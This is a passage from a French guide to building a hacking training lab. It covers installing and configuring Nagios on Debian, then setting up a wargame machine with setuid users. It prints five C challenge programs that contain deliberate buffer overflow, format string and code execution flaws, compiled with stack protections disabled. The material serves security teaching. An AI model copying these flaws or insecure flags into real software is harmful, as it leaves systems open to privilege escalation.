l’arrêt d’un service ou son démarrage, ou toute autre modification sur un client distant
(ordinateur, switch, routeur...).
Nous voilà donc avec une nouvelle machine virtuelle avec une distribution Debian Squeeze
installée. La mise à jour a été effectuée.
Pour être sûr que nous pointons vers les bons dépôts, nous vérifierons que la liste des dépôts
dans /etc/sources.list est bien identique à celle-ci :
deb http://ftp.fr.debian.org/debian/ squeeze main
deb-src http://ftp.fr.debian.org/debian/ squeeze main
deb http://security.debian.org/ squeeze/updates main
deb-src http://security.debian.org/ squeeze/updates main
# squeeze-updates, previously known as ’volatile’
deb http://ftp.fr.debian.org/debian/ squeeze-updates main
deb-src http://ftp.fr.debian.org/debian/ squeeze-updates main
Nous pourrons installer Nagios de plusieurs façons différentes : soit en compilant les fichiers
sources que nous pouvons trouver sur le site de Nagios, soit en utilisant les dépôts officiels
(cela dépend donc de la distribution).
Nous allons donc voir par la suite ces deux méthodes.
1. Nagios avec les fichiers sources
a. Installation
Nagios dépend de nombreux paquets dans son fonctionnement. Nous commencerons donc
grâce à la commande aptitude ou apt-get par les installer.
fasm#aptitude install php5-gd postfix fping snmp ntp smbclient
nmap saidar traceroute php5-snmp curl gettext
Nous aurons aussi besoin de l’environnement de compilation :
fasm#aptitude install build-essential
Nous voilà prêts pour l’installation de Nagios.
Nagios a besoin d’un utilisateur pour fonctionner, mais aussi d’un répertoire local où seront
installés les fichiers de configuration et les binaires.
Nous créerons d’abord grâce à la commande mkdir le répertoire nagios dans /usr/local.
#fasm#mkdir /usr/local/nagios
Nous pouvons dès à présent créer un groupe nagios, un groupe nagcmd (commande
groupadd) et créer l’utilisateur nagios (commande useradd).
fasm#groupadd -g 9000 nagios
fasm#groupadd -g 9001 nagcmd
fasm#useradd -u 9000 -g nagios -G nagcmd -d /usr/local/nagios -c
"Nagios Admin" nagios
Les commandes ci-dessus sont bien sûr disponibles sur le site de Nagios
(http://www.nagios.org/) dans l’onglet Documentation.
Des librairies de développement sont aussi indispensables afin de pouvoir compiler Nagios :
fasm#aptitude install libperl-dev libgd2-xpm-dev libltdl3-dev
linux-headers-`uname -r`
Pour finir avec les librairies, installons-en une spécifique pour Nagios 3. Nous l’installons ici
à part mais nous aurions pu, bien entendu, l’installer en même temps que les autres librairies.
fasm#aptitude install libglib2.0-dev
Nous arrivons enfin à la partie propre de Nagios, le téléchargement et l’installation du paquet
nagios.
La commande wget va nous permettre de télecharger le paquet voulu sur le site SourceForge.
Nous pourrons choisir le dernier paquet en date.
Ce dernier est un fichier compressé en tar.gz, l’étape suivante sera donc de décompresser ce
fichier (tar -xzf : pour plus d’information sur cette commande, nous pourrons aller voir le man
sur notre machine Linux).
Une fois ce fichier décompressé, nous pourrons, grâce à la commande ls, visualiser les
fichiers de Nagios. Nous trouverons un fichier README qui explique comment installer le
paquet.
C’est à partir des informations de ce fichier README que nous exécuterons les commandes
suivantes :
fasm#wget http://prdownloads.sourceforge.net/sourceforge/nagios/
nagios-3.3.1.tar.gz
fasm#tar -xzf nagios-3.3.1.tar.gz
fasm#cd nagios
fasm#./configure --prefix=/usr/local/nagios --with-nagios-
user=nagios --with-nagios-group=nagios --with-command-user=nagios
--with-command-group=nagcmd --enable-event-broker --enable-
nanosleep --enable-embedded-perl -with-perlcache
fasm#make all
fasm#make install
fasm#make install-init
fasm#make install-commandmode
fasm#make install-config
fasm#make install-webconf
C’est une installation assez classique avec dans un premier temps le ./configure qui va
permettre de vérifier notre configuration. Les options données ci-dessus sont aussi extraites de
la documentation Nagios.
Nous pouvons ensuite effectuer les différentes make nécessaires à cette installation.
Nous allons passer à la création du fichier d’utilisateur :
htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin
chown nagios:nagcmd /usr/local/nagios/etc/htpasswd.users
Nagios utilise Apache que nous avons vu dans une section précédente. Nous ajouterons donc
l’utilisateur apache au groupe nagcmd pour pouvoir exécuter les commandes externes de
Nagios depuis l’interface (ex : nagcmd:x:9001:www-data).
adduser www-data nagcmd
/etc/init.d/apache2 restart
Si nous souhaitons que Nagios démarre à chaque redémarrage de la machine, nous devons
l’indiquer à la machine grâce à la commande update-rc.
chmod +x /etc/init.d/nagios
update-rc.d nagios defaults
Nous pouvons maintenant démarrer Nagios.
/etc/init.d/nagios start
La dernière étape va consister à installer les plug-ins manquants :
fasm#apt-get install libgnutls-dev libmysqlclient15-dev libssl-dev
libsnmp-perl libkrb5-dev libldap2-dev libsnmp-dev libnet-snmp-perl
gawk libwrap0-dev libmcrypt-dev fping snmp gettext smbclient
dnsutils
fasm#wget
http://prdownloads.sourceforge.net/sourceforge/nagiosplug/nagios-
plugins-1.4.15.tar.gz
fasm#tar -xzf nagios-plugins-1.4.15.tar.gz
fasm#cd nagios-plugins-1.4.15/
fasm#./configure --with-nagios-user=nagios --with-nagios-
group=nagios --enable-libtap --enable-extra-opts -enable-perl-
modules
fasm#make
fasm#make install
De la même manière que précédemment, nous allons d’abord aller rechercher le paquet des
plug-ins Nagios sur le site de SourceForge et lancer notre ./configure puis le make et le make
install.
b. Configuration
Nous allons copier ceci dans le fichier httpd.conf. Ces fichiers sont repris de la documentation
officielle de Nagios sur le site http://www.nagios.org/ :
ScriptAlias /nagios/cgi-bin /usr/local/nagios/sbin
<Directory "/usr/local/nagios/sbin">
Options ExecCGI
AllowOverride None
Order allow,deny
Allow from all
AuthName "Nagios Access"
AuthType Basic
AuthUserFile /usr/local/nagios/etc/htpasswd.users
Require valid-user
</Directory>
Alias /nagios /usr/local/nagios/share
<Directory "/usr/local/nagios/share">
Options None
AllowOverride None
Order allow,deny
Allow from all
AuthName "Nagios Access"
AuthType Basic
AuthUserFile /usr/local/nagios/etc/htpasswd.users
Require valid-user
</Directory>
Un fichier htacces va nous être nécessaire afin de pouvoir sécuriser par la demande d’un login
et d’un mot de passe l’accès à Nagios :
htpasswd -c /usr/local/nagios/etc/htpasswd.users adminnagios
Nous devons ajouter un utilisateur, nous mettrons bien entendu à la place de <username> le
nom de l’utilisateur souhaité :
htpasswd /usr/local/nagios/etc/htpasswd.users <username>
Comme nous venons de modifier les fichiers de configuration, nous allons devoir relancer les
services Apache et Nagios.
fasm#invoke-rc.d apache2 reload
fasm#service httpd restart
fasm#invoke-rc.d nagios reload
fasm#service nagios restart
Notre configuration manuelle est terminée : nous pouvons dès à présent utiliser Nagios. Il
existe bien sûr un moyen plus simple d’installation de Nagios, si notre système le permet : les
dépôts.
2. Nagios avec les dépôts
Si notre machine est une Debian ou une Ubuntu, la commande aptitude ou apt-get nous
simplifiera grandement les choses. Pour les autres distributions, nous devrons nous référer à la
documentation pour l’installation de nouveaux paquets.
fasm#aptitude install nagios3
Dans ce cas de figure, le paquet Nagios fait un lien symbolique de
/etc/apache2/conf.d/nagios.conf vers /etc/nagios3/apache.conf.
La configuration d’Apache devra ensuite être rechargée (reload) à l’aide de la commande
suivante :
sudo /etc/init.d/apache2 reload
Comme pour l’installation manuelle, la première chose à faire est d’ajouter des utilisateurs qui
pourront se connecter à l’interface web de Nagios. Les droits d’accès de l’interface web se
gèrent avec htpasswd qui est un utilitaire fourni avec le serveur Apache.
a. Configuration d’Apache
Nous pouvons vérifier, ou ajouter le cas échéant, dans le fichier /etc/nagios3/apache2.conf les
lignes suivantes :
ScriptAlias /cgibin/nagios3 /usr/lib/cgibin/nagios3
ScriptAlias /nagios3/cgibin /usr/lib/cgibin/nagios3
<DirectoryMatch (/usr/share/nagios3/htdocs|/usr/lib/cgibin/nagios3)>
Options FollowSymLinks
DirectoryIndex index.html
AllowOverride AuthConfig
Order Allow,Deny
Allow From All
AuthName "Nagios Access"
AuthType Basic
AuthUserFile /etc/nagios3/htpasswd.users
require validuser
</DirectoryMatch>
La configuration suivante, comme pour l’installation manuelle, est tirée de la documentation
officielle de Nagios.
L’ajout des utilisateurs se fait de la même manière.
fasm#htpasswd -c /etc/nagios3/htpasswd.users nagiosadmin
Nous pouvons maintenant lancer notre navigateur web favori et tester le fonctionnement de
Nagios. L’URL à saisir est la suivante :
http://localhost/nagios3
Puis log : nagiosadmin
Puis mdp : demander lors de l’installation
b. Configurer Nagios pour le réseau LAN
La configuration par défaut se trouve dans le fichier /etc/nagios3/conf.d/generic-
host_nagios.cfg.
Elle définit les paramètres par défaut d’un host, paramètres utilisés au moment du démarrage
et redémarrage de Nagios :
# Generic host definition template - This is NOT a real host, just
a template!
define host{
name generic-host ; The
name of this host template
notifications_enabled 1 ; Host
notifications are enabled
event_handler_enabled 1 ; Host
event handler is enabled
flap_detection_enabled 1 ; Flap
detection is enabled
failure_prediction_enabled 1 ; Failure
prediction is enabled
process_perf_data 1 ; Process
performance data
retain_status_information 1 ; Retain
status information across program restarts
retain_nonstatus_information 1 ; Retain
non-status information across program restarts
check_command check-host-alive
max_check_attempts 10
notification_interval 0
notification_period 24x7
notification_options d,u,r
contact_groups admins
register
}
Si nous ne configurons que ces fichiers, le check-host-alive (la vérification que les hosts,
c’est-à-dire les clients, sont en marche) ne fonctionne pas ; il nous faudra aussi au moins un
service (service.cfg) configuré par machine. Ce service utilisant le protocole ICMP et plus
particulièrement le Ping, il est donc nécessaire de vérifier que le service Ping est défini pour
chaque client.
Dans la partie par défaut de ce fichier generic-hosts_nagios2.cfg, les notifications sont
activées au démarrage.
Nous allons devoir créer un fichier par machine puis nous ajouterons la passerelle (gateway)
pour définir les différentes machines virtuelles correspondant à l’architecture que nous avons
créée précédemment (vm_ftp, vm_web, vm_vpn...) (à adapter).
Nous devrons donc :
Créer le fichier /etc/nagios3/conf.d/host-gateway_nagios2.cfg et y placer les lignes
suivantes :
# a host definition for the gateway of the default route
define host {
host_name gateway
alias Default Gateway
address xxx.xxx.xxx.xxx
use generic-host
}
Ajouter le service de vérification par Ping, dans
/etc/nagios3/conf.d/services_nagios2.cfg :
define service {
hostgroup_name ping-servers
service_description PING
check_command check_ping!100.0,20%!500.0,60%
use generic-service
notification_interval 0
}
Nous pouvons activer le service test Ping pour l’hôte gateway ; dans le fichier
/etc/nagios3/conf.d/hostgroups_nagios2.cfg :
define hostgroup {
hostgroup_name ping-servers
alias Pingable servers
members gateway
}
La configuration étant enregistrée, nous pouvons la tester.
Vérifions les fichiers de configuration :
nagios3 -v /etc/nagios3/nagios.cfg
Rechargeons les fichiers de configuration Nagios :
/etc/init.d/nagios3 reload
ou
service nagios3 reload
Nous pouvons maintenant retourner à l’interface web et vérifier que le système détecte bien
notre configuration. Un temps d’attente est nécessaire ; nous devons dans certains cas attendre
plusieurs minutes mais nous n’hésiterons pas à recharger régulièrement la page pour effectuer
cette vérification.
Ajoutons maintenant, toujours dans le fichier précédent, un groupe pour les routeurs :
# La liste de nos routeurs
define hostgroup {
hostgroup_name router-servers
alias Router Servers
members gateway
}
Si nous souhaitons changer l’image (icon) de cette passerelle dans le « Status Map » de
l’interface web de Nagios3, nous devons éditer le fichier
/etc/nagios3/conf.d/extinfo_nagios2.cfg et ajouter les lignes suivantes :
define hostextinfo{
hostgroup_name router-servers
notes Router servers
#/usr/share/nagios/htdocs/images/logos/base/xxxxxxxx.png
icon_image base/xxxxxxxx.png
icon_image_alt Router
vrml_image xxxxxxxx.png
statusmap_image base/xxxxxxxx40.png
}
Si nous souhaitons ajouter un routeur switch1, nous devons :
Créer le fichier /etc/nagios3/conf.d/host-lynek_nagios2.cfg et y placer les lignes
suivantes :
define host{
use generic-host ; quel patron?
host_name switch1 ;nom du switch
alias Switch
address xxx.xxx.xxx.xxx
}
Nous pouvons ajouter une station ’station1’ ou tout autre nom de type Debian connecté à
switch1. Nous devrons alors :
Créer le fichier /etc/nagios3/conf.d/host-station1_nagios2.cfg et y placer les lignes
suivantes :
define host{
use generic-host ;quel patron
host_name station1 ;nom de la machine
alias Debian station
address xxx.xxx.xxx.xxx
parents switch1
}
Activons le service test ping pour cette machine (vu précédemment).
Activons le service test http pour cette machine si elle est serveur HTTP.
Créons un groupe pour les stations Debian dans le fichier
/etc/nagios3/conf.d/hostgroups_nagios2.cfg.
## liste de nos VM debian
define hostgroup {
hostgroup_name VM_Debian
alias VM Debian
members station1
}
Si nous souhaitons créer de nouvelles icônes pour d’autres machines (Debian, Windows XP,
Vista), il faut :
Vérifier que les paquetages libgd-tools et netpbm sont installés.
Exécuter le script shell genicons.sh suivant sur une image Gif n’excédant pas 60
pixels.
#!/bin/bash
path="/usr/bin"
echo "Usage : $0 img1_sans_extension [img2 ...]"
for arg
do
if [ -f "$arg" ]; then
echo converting $arg
arg="$(echo $arg | sed ’s/\.gif$//’)"
$path/giftopnm $arg.gif > $arg.pnm
$path/pnmtopng -transparent rgb:ff/ff/ff $arg.pnm >
$arg.png
$path/pnmtojpeg -quality=100 -optimize -smooth=0
$arg.pnm > $arg.jpg
$path/pngtogd2 $arg.png $arg.gd2 0 1
fi
done
rm -f *.pnm
On obtient ainsi 4 fichiers à copier dans le répertoire
/usr/share/nagios/htdocs/images/logos/base.
Sélectionnons son image (icon) dans le Status Map de l’interface web de Nagios dans le
fichier /etc/nagios3/conf.d/extinfo_nagios2.cfg et ajoutons les lignes suivantes :
define hostextinfo{
hostgroup_name VM_debian
notes VM debian
# notes_url
http://webserver.localhost.localdomain/hostinfo.pl?host=netware1
#/usr/share/nagios3/htdocs/images/logos/base/.....png
icon_image base/debian.png
icon_image_alt Debian GNU/Linux
vrml_image debian.png
statusmap_image base/debian.gd2
}
Si nous souhaitons ajouter des machines Windows XP, il faut :
Ajouter un groupe xp-servers dans le fichier
/etc/nagios3/conf.d/hostgroups_nagios2.cfg.
Ajouter aussi ce groupe xp-servers dans le fichier
/etc/nagios3/conf.d/extinfo_nagios2.cfg.
Créer les fichiers images pour ce type de station.
Créer le fichier /etc/nagios3/conf.d/host-stationxp1_nagios2.cfg et y placer les lignes
suivantes :
define host{
use generic-host ; quel patron?
host_name stationxp1 ; nom de la machine
alias Windows XP Station
address xxx.xxx.xxx.xxx
parents xxxxxx
}
Ajouter la station dans le service Ping et le service HTTP si nécessaire...
c. Configurer Nagios pour le réseau WAN
Pour ajouter une passerelle "gatewaykoala" par exemple , nous prendrons bien sûr le nom que
nous voulons, après le bloc gateway que nous avons créé plus haut, il va falloir :
Créer le fichier /etc/nagios3/conf.d/host-gatewaykoala_nagios2.cfg.
Y déclarer un hôte "gatewaykoala" d’adresse "X.X.X.X" en précisant qu’il est placé
après gateway en ajoutant la ligne parents gateway.
Ne pas ajouter ce routeur dans le service Ping (il n’est pas configuré pour répondre).
Nous pouvons ajouter des stations après la passerelle gatewaykoala. Pour cela, il faut :
Créer le fichier /etc/nagios2/conf.d/host-fasm_nagios2.cfg.
Y déclarer un hôte "fasm" d’adresse "XXX.XXX.XXX.XXX" en précisant qu’il est
placé après "gatewaykoala".
Accéder à ce serveur HTTP, en utilisant le port 8000 dont le service Nagios n’existe
pas encore.
Ajouter le service "http:8000" (paragraphe suivant).
Nous pouvons maintenant activer les nouveaux services.
Nous configurerons le monitoring de services ne nécessitant pas d’autres plug-ins que ceux
installés par défaut avec Nagios.
Pour ajouter le service de test "http:8000", nous suivrons cette procédure décrite dans la
documentation :
Tester la commande :
/usr/lib/nagios/plugins/check_http -p 8000 -I XXX.XXX.XXX.XXX
Voir --help pour l’aide en ligne.
Le résultat devrait être : HTTP OK : HTTP/1.1 200 OK - ...
Ajouter les lignes suivantes dans le fichier /etc/nagios2/conf.d/service_nagios2.cfg :
define service {
hostgroup_name http-servers8000
service_description HTTP8000
check_command check_http!-p 8000
use generic-service
notification_interval 0 ; set > 0 if you want to
be renotified
}
Créer un nouveau groupe pour cette station dans le fichier
/etc/nagios3/conf.d/hostgroups_nagios2.cfg :
define hostgroup {
hostgroup_name http-servers8000
alias http8000
members fasm
}
Tester ce nouveau service.
Pour ajouter le service de test "dhcp", connaissant notre serveur DHCP ou après avoir installé
un serveur DHCP sur localhost, nous procéderons comme suit :
Tester la commande :
/usr/lib/nagios/plugins/check_dhcp -s XXXXXXX -i eth0
Le résultat pourrait être : "Erreur: Impossible de connecter le socket à l’interface eth0.
Vérifiez vos droits... " ou "OK: Reçu 1 DHCPOFFER(s), bail maximum = 43200 sec.
Ajouter les lignes suivantes dans le fichier /etc/nagios3/conf.d/service_nagios2.cfg :
define service {
hostgroup_name dhcp-servers
service_description DHCP
check_command check_dhcp
use generic-service
notification_interval 0 ; set > 0 if you want to
be renotified
}
Créer un nouveau groupe pour cette station dans le fichier
/etc/nagios2/conf.d/hostgroups_nagios2.cfg :
define hostgroup {
hostgroup_name dhcp-servers
alias DHCP Servers
members xxxxxxxxx,yyyyyyy
}
Tester ce nouveau service. Il est peut-être nécessaire de donner plus de droits à
Nagios.
Le SNMP (Simple Network Management Protocol) est un protocole qui va permettre aux
administrateurs réseau de diagnostiquer les problèmes réseau et de gérer les équipements
réseau.
Pour tester le plug-in SNMP, nous pouvons effectuer les commandes suivantes :
/usr/lib/nagios/plugins/check_snmp -H gateway -C public -o
1.3.6.1.2.1.1.1.0 ou system.sysDescr.0
/usr/lib/nagios/plugins/check_snmp -H gateway -C public -o
interfaces.ifTable.ifEntry.ifDescr.1 ou 1.3.6.1.2.1.2.2.1.2.1
SNMP OK - loopback | IF-MIB::ifDescr.1=loopback
Compléter les fichiers services.cfg et commands.cfg afin de tester les services
disponibles sur une station Linux, la station Nagios, un routeur ADSL, ainsi que tous
les services Ping.
Dans le fichier commands.cfg, définir les commandes à exécuter pour tester un
service. L’ensemble de ces commandes est présent sous forme d’exécutable dans le
répertoire plugin de Nagios. On peut donc tester en ligne de commande si les
paramètres associés aux commandes fonctionnent. De même, on obtient l’aide relative
à cette commande grâce à l’option :
-h (ex: check_ping -h)
Si par exemple nous souhaitons tester le service avec SNMPGet (SNMPGet étant une
commande du protocole SNMP qui permet de faire une demande à un périphérique), nous
ajouterons dans commands.cfg :
define command{
command_name check_snmp
command_line $USER1$/check_snmp -H $HOSTADDRESS$ -C
$ARG1$ -o $ARG2$
}
Deux solutions s’offrent à nous pour tester le service SNMP avec check_snmp :
Soit nous indiquons « en dur » les paramètres de la fonction check_snmp.
Soit nous indiquons les paramètres à utiliser et ces derniers seront écrits dans le fichier
services.cfg.
Certains sont entrés en dur, comme l’adresse de l’hôte. D’autres seront à entrer en
complément de la commande, comme ARG1 et ARG2, c’est-à-dire deux arguments que nous
indiquerons après la commande, les arguments 1 et 2.
Il nous faut configurer des commandes non définies dans commands.cfg mais présentes dans
le répertoire des plug-ins. Ainsi, on rajoute la définition de check_ssh, check_daytime et
check_swap (voir fichier commands.cfg).
Dans le fichier services.cfg, nous associons aux hôtes déjà définis le service que l’on
souhaite tester ainsi que les arguments nécessaires à son utilisation. Exemple du
SNMPGet d’une station :
define service{
use generic-service ; Name of service
template to use
hostgroup_name gateway
service_description SNMP
notification_interval 240
check_command check_snmp!public!1.3.6.1.2.1.2.2.1.2.1
}
Nous configurons ici l’hôte sur lequel nous testons le service, les périodes de test et les
périodes de notification de la commande à exécuter avec ses paramètres (ceux non rentrés en
dur).
Les arguments de la commande sont séparés par des "!". Dans le cas du SNMPget, l’argument
1 correspondant à ARG1 dans commands.cfg est ’public’ et l’argument 2 (ARG2) est
’1.3.6.1.2.1.2.2.1.2.1’. Ces paramètres dépendent de la commande exécutée.
Les chiffres ainsi déclarés ’1.3.6.1.2.1.2.2.1.2.1’ sont des OID. Les OID sont des identifiants
universels, représentés sous la forme d’une suite d’entiers. Ils sont organisés sous forme
hiérarchique. Ainsi, seul l’organisme 1.2.3 peut dire quelle est la signification de l’OID
1.2.3.4. Ils ont été définis dans une recommandation de l’International Telecommunication
Union.
Nous pourrons trouver de plus amples informations sur ce site :
http://www.alvestrand.no/objectid/top.html
Ainsi, pour chacune des stations précédemment définies, nous définissons les services à tester.
d. Utilisation de NSClient
NSClient est un exécutable à installer sous Windows qui va permettre de surveiller les
services disponibles sur la machine.
Nous devrons donc :
Utiliser le serveur NSClient à installer sur la machine Windows, ainsi que le plug-in
check_nt, disponible avec NSClient, afin d’interroger le serveur.
Compléter les fichiers services.cfg et checkcommands.cfg en conséquence.
Une fois l’archive téléchargée puis décompressée, il nous faut copier les fichiers
pNSClient.exe, pdh.dll, psapi.dll et counters.defs dans le répertoire où nous souhaitons
installer NSClient (par exemple c:\nsclient). Nous devrons ensuite lancer la commande
pNSClient.exe /install dans un prompt MS-DOS, ce qui installe le service NSClient sur la
machine. Nous pourrons alors démarrer le service.
Les commandes et extraits de configurations sont tirés de la documentation officielle de
Nagios.
Du côté de la machine Nagios, il faut utiliser le plug-in check_nt qui est fourni dans le fichier
zip et le copier dans le répertoire des plug-ins de Nagios.
Nous devrons modifier le fichier checkcommands.cfg en y ajoutant les blocs suivants :
Test de la mémoire utilisée :
define command{
command_name check_windows_mem
command_line $USER1$/check_nt -H $HOSTADDRESS$ -v
MEMUSE -w $ARG1$ -c $ARG2$
}
Test de l’espace disque utilisé :
define command{
command_name check_windows_disk
command_line $USER1$/check_nt -H $HOSTADDRESS$ -v
USEDDISKSPACE -l $ARG1$ -w $ARG2$ -c $ARG3$
}
Ajout des blocs suivants dans le fichier services.cfg pour utiliser ces commandes sur la
machine Windows :
Test de la mémoire utilisée :
define service{
use generic-service ; Name of service
template to use
host_name Non_de_la_Station
service_description MEMORY USED
is_volatile 0
check_period 24x7
max_check_attempts 3
normal_check_interval 5
retry_check_interval 1
contact_groups Windows
notification_interval 240
notification_period 24x7
notification_options c,r
check_command check,windows_mem!50%!90%
}
Test de l’espace disque disponible :
define service{
use generic-service ; Name of
service template to use
host_name Non_de_la_Station
service_description DISK
is_volatile 0
check_period 24x7
max_check_attempts 3
normal_check_interval 5
retry_check_interval 1
contact_groups Windows
notification_interval 240
notification_period 24x7
notification_options c,r
check_command check_windows_disk!c!60%!80%
}
Voilà, nous devrions être capables de gérer grâce à Nagios toutes nos machines virtuelles et
plus.
Conclusion
Notre laboratoire de hacking est prêt, nous pouvons dès à présent commencer l’installation de
nos épreuves applicatives, sites web et autres afin de pouvoir tester et apprendre les
techniques de hacking en toute légalité.
Mise en place des épreuves
Introduction
Nous allons présenter dans ce chapitre quelques épreuves afin d’avoir un laboratoire de
hacking minimal et prêt à l’emploi.
Il nous faudra bien sûr ensuite créer nos propres épreuves afin de nous renouveler et de
pouvoir tester de nouvelles failles, nous devrons donc réaliser une veille technologique
constante afin d’identifier les nouveautés et de les recréer dans notre laboratoire.
Les épreuves proposées ici sont des épreuves qui ont été proposées dans différents challenges
que nous avons créés, comme pour le hacknowledge-contest (http://www.hacknowledge-
contest.org), ou dans lesquels nous étions challengers.
Certaines épreuves viennent aussi des TP de la licence professionnelle CDAISI dite « ethical
hacking » de l’université de Valenciennes, en son antenne de Maubeuge, dans laquelle nous
enseignons.
Nous pourrons bien sûr retrouver ces épreuves sur le web ainsi que leur solution puisque
souvent des « write-up », soit les solutions, sont proposées et reprises dans différents sites.
Création de cinq épreuves applicatives
1. Configuration de la machine
Une nouvelle machine spécifique pour cette série d’épreuves de type wargame est créée sous
Debian.
Mais qu’est-ce qu’une épreuve de type wargame ?
Ce sont par exemple cinq épreuves qui se suivent et qui sont organisées de telle sorte que la
résolution de la première épreuve permet l’accès à la deuxième et ainsi de suite.
Mais pour réaliser cela, nous avons un premier travail de configuration.
Nous allons commencer par créer un répertoire /wargame :
fasm# mkdir /wargame
Nous y placerons nos épreuves, donc pour ce cas, cinq fichiers binaires et cinq fichiers source.
Nous voulons un résultat semblable à ceci :
challenge1:/home# ls -l /wargame/
total 96
-r-Sr-x--- 1 level2 level1 6970 Jun 29 2010 level1
-r--r----- 1 root level1 530 Jun 29 2010 level1.c
-r-Sr-x--- 1 level3 level2 6679 Jun 29 2010 level2
-r--r----- 1 root level2 341 Jun 29 2010 level2.c
-r-sr-x--- 1 level4 level3 6726 Jun 29 2010 level3
-r--r----- 1 root level3 426 Jun 29 2010 level3.c
-r-Sr-x--- 1 level5 level4 7216 Jun 29 2010 level4
-r--r----- 1 root level4 1037 Jun 29 2010 level4.c
-r-sr-x--- 1 level6 level5 6888 Jun 29 2010 level5
-r--r----- 1 root level5 468 Jun 29 2010 level5.c
Nous déposerons donc dans ce répertoire ces fichiers que nous verrons plus en détail dans les
sections suivantes.
Nous devons d’abord créer 6 utilisateurs que nous appellerons level1 à level6.
Le mot de passe de level1 sera level1 et les mots de passe des autres devront être plus
compliqués car ce sont ces mots de passe qui devront être découverts au fur et à mesure.
Par exemple, on se connecte sous l’identité de level1, nous allons dans /wargame découvrir le
binaire correspondant qui s’appelle lui aussi level1.
Si nous résolvons l’épreuve, nous devenons level2 et avons donc accès au répertoire de
level2. Dans ce répertoire se trouvera un fichier nommé .passwd qui contient le mot de passe
de level2. Nous pourrons ainsi nous connecter en SSH en tant que level2 avec le mot de passe
trouvé précédemment pour accéder à l’épreuve 2.
Nous pouvons donc nous déconnecter et nous reconnecter en level2 et ainsi de suite.
Nous commençons par créer les utilisateurs :
fasm#adduser level1
fasm#adduser level2
fasm#adduser level3
fasm#adduser level4
fasm#adduser level4
fasm#adduser level5
fasm#adduser level6
Les répertoires correspondant aux différents utilisateurs sont créés en même temps.
Nous placerons à partir de level2, dans le répertoire correspondant, soit /home/level2, un
fichier caché appelé .passwd dans lequel nous écrirons le mot de passe du level2.
fasm#nano /home/level2/.passwd
Nous y écrivons le mot de passe de level2.
Nous donnons ensuite les droits sur ce fichier .passwd :
fasm#chown level2:level2 .passwd
fasm#chmod 400 .passwd
Nous allons nous occuper de voir comment configurer les fichiers que nous placerons par la
suite dans /wargame.
Supposons que nous ayons en notre possession le fichier level1.c et le binaire level1.
fasm#cd /wargame
fasm#chown root:level1 level1.c
fasm#chmod 440 level1.c
fasm#chown level2:level1 level1
fasm#chmod 550 level1
fasm#chmod u+s level1
Le fichier level1.c appartient maintenant au groupe level1 qui a les droits en lecture sur ce
fichier. L’utilisateur qui se connectera en level1 pourra donc lire le contenu du fichier mais
n’aura pas le droit en écriture pour le changer.
Le binaire level1 appartient au level2 et au groupe level1. Le groupe a les droits en lecture et
exécution. L’utilisateur level2 a les droits de lecture et d’exécution mais en plus le bit s est
mis, c’est-à-dire que si l’utilisateur level1 réussit à exploiter le binaire, il pourra sous certaines
conditions devenir level2 et donc lire le mot de passe de level2 dans /home.level2/.passwd.
Il nous faudra donc faire cette suite de commandes pour chaque fichier en adaptant bien sûr à
chaque fois suivant le niveau.
Voilà, nous avons terminé la configuration.
Nous allons maintenant installer le logiciel SSH pour la connexion à distance.
fasm#aptitude install openssh-server
Nous devons maintenant créer nos différentes épreuves et ensuite les déposer dans /wargame
avant de leur donner les droits et appartenances décrits ci-dessus.
2. Les épreuves
Les épreuves suivantes ont été proposées dans le premier hacknowledge-contest en 2008 et
sont inspirées de différents challenges tels que l’insomni’hack, à Genève et des challenges en
ligne.
a. Épreuve level1
Le fichier level1.c est le suivant :
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("========= ENI Challenge Securite ==============\n\n");
printf("La valeur correcte pour 0x41414141 est 0xcafedeca!\n");
printf("C’est bon pour la sante, le cafe deca !\n\n");
printf("Vous trouverez votre bonheur ici: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
printf("\n\n");
printf("========= ENI Challenge Securite ==============\n\n");
if(val==0xcafedeca){
seteuid(1001);
system("/bin/sh");
} else {
printf("Sortez!!!!\n");
exit(1);
}
return 0;
}
Nous compilerons le fichier level1.c grâce à gcc.
fasm#gcc -z stackexec -fno-stack-protector -o level1 level1.c
Nous compilerons les autres fichiers de la même manière.
b. Épreuve level2
Le fichier level2.c est le suivant :
#include <stdio.h>
#include <stdlib.h>
int main(){
int (*ret)();
printf("========= ENI Challenge Securite ==============\n\n");
if((ret=getenv("ACISSI"))==NULL){
printf("Donnez quelque chose a executer a la
variable d’environnement ACISSI\n") ;
exit(1);
}
printf("Essaie d’executer la variable d’environnement
ACISSI!\n");
seteuid(1002);
printf("========= ENI Challenge Securite ==============\n\n");
ret();
return 0;
}
c. Épreuve level3
Le fichier level3.c est le suivant :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int vuln(char *arg)
{
char buffer[128];
strcpy(buffer,arg);
return 1;
}
int main(int argc, char * argv[]){
char buf[128];
printf("========= ENI Challenge Securite ==============\n\n");
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
seteuid(1003);
vuln(argv[1]);
printf("%s", buf);
printf("========= ENI Challenge Securite ==============\n\n");
return 0;
}
d. Épreuve level4
Le fichier level4.c est le suivant :
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
printf("========= ENI Challenge Securite ==============\n\n");
if(argc != 2){
printf("usage, le fichier %s va essayer d’envoyer
son contenu vers /dev/null\n ",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("erreur d’ouverture %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("erreur d’ouverture %s\n", ifile);
exit(-1);
}
e. Épreuve level5
Le fichier level5.c est le suivant :
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
int i = 10;
char buffer[64];
printf("========= ENI Challenge Securite ==============\n\n");
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Changez la valeur de i : 10 -> 400. ");
if(i==500){
printf("YEAH reussi!!\n");
seteuid(1005);
system("/bin/sh");
}
printf("Pas BON!! .... essayez encore\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
printf("========= ENI Challenge Securite ==============\n\n");
return 0;
}
3. Solutions
